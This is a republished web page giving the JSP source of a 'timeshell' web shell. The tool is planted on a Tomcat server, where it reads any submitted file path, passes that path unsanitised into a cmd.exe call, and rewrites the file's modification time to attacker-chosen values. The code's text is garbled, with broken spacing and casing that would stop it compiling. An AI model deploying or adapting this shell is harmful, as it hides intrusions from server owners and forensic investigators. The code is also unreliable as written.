Small SHELL for modifying file modification time in JSP

Source: Internet
Author: User

<% @ Page import = "java. io. *" %>
<% @ Page import = "java. util. *, java. text. *" %>
<% @ Page language = "java" import = "java. util. Enumeration" contentType = "text/html; charset = GB2312" %>

<Html>
<Head>
<Title> JSP timeshell by oldjun </title>
<Meta http-equiv = "Content-Type" content = "text/html; charset = gb2312"> <Body>
<H1> JSP timeshell by oldjun </H1>
<%!
Public static String getFileCreateDate (File _ file ){
File file = _ file;
Try {
Process ls_proc = runtime.getruntime(cmd.exe c ("cmd.exe/c dir" "+ file. getAbsolutePath () +" "/tc ");
BufferedReader br = new BufferedReader (new InputStreamReader (ls_proc.getInputStream ()));
For (int I = 0; I <5; I ++ ){
Br. readLine ();
}
String stuff = br. readLine ();
StringTokenizer st = new StringTokenizer (stuff );
String dateC = st. nextToken ();
String time = st. nextToken ();
String datetime = dateC. concat ("" + time );
Br. close ();
Return datetime;
} Catch (Exception e ){
Return null;
}
}
String folderReplace (String folder ){
Return folder. replace (\,/);
}
%>
<%
String action = null;
If (request. getParameter ("action") = null)
Action = "main ";
Else
Action = (String) request. getParameter ("action ");
If (action. equals ("main ")){
%>
<Form name = form1 method = "post" action = "? Action = getinfo ">
Filepath: <input name = "file" type = "text" size = "100"/> <br> (for instance C: /Program Files/Apache Software Foundation/Tomcat 6.0/webapps/ROOT/time. jsp) <br>
<Input type = "submit" name = "Button" value = "getinfo"/>
</Form>
<%
} Else if (action. equals ("getinfo ")){
String filepath = folderReplace (request. getParameter ("file "));
File file = new File (filepath );
If (! File. exists ()){
Out. println ("<script lanugage =" javascript "> alert (" file: "+ filepath +" not find! "); History. back (); </script> ");
}
%>
Filepath: <br>
<% = Filepath %> <br>
LastModifiedtime: <br>
<% = New Date (file. lastModified () %> <br>
Createtime: <br>
<%
String Createtime = getFileCreateDate (file );
Out. println (Createtime );
%> <Br>
Now: <br>
<%
Date myDate = new Date ();
Out. println (myDate. toLocaleString ());
%>
<Form name = form2 method = "post" action = "? Action = change ">
<Input name = "year" type = "text" size = "10"/> year
<Input name = "month" type = "text" size = "10"/> month
<Input name = "day" type = "text" size = "10"/> day
<Input name = "hour" type = "text" size = "10"/> hour
<Input name = "min" type = "text" size = "10"/> minute
<Input name = "sec" type = "text" size = "10"/> second
<Input name = "file" type = "hidden" value = "<% = filepath %>"/> <br>
<Input type = "submit" name = "Button" value = "change"/>
</Form>
<%
} Else if (action. equals ("change ")){
String url = "? Action = main ";
String filepath = folderReplace (request. getParameter ("file "));
String year = request. getParameter ("year ");
String month = request. getParameter ("month ");
String day = request. getParameter ("day ");
String hour = request. getParameter ("hour ");
String min = request. getParameter ("min ");
String sec = request. getParameter ("sec ");
File file = new File (filepath );
Calendar calendar = Calendar. getInstance ();
Calendar. set (Integer. parseInt (year), Integer. parseInt (month), Integer. parseInt (day), Integer. parseInt (hour), Integer. parseInt (min), Integer. parseInt (sec ));
If (file. setLastModified (calendar. getTimeInMillis ()))
Out. println ("<script lanugage =" javascript "> alert (" file date change success! "); Location. href =" "+ url +" "; </script> ");
Else
Out. println ("<script lanugage =" javascript "> alert (" time error! "); History. back (); </script> ");
}
%>
</Body>
</Html>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.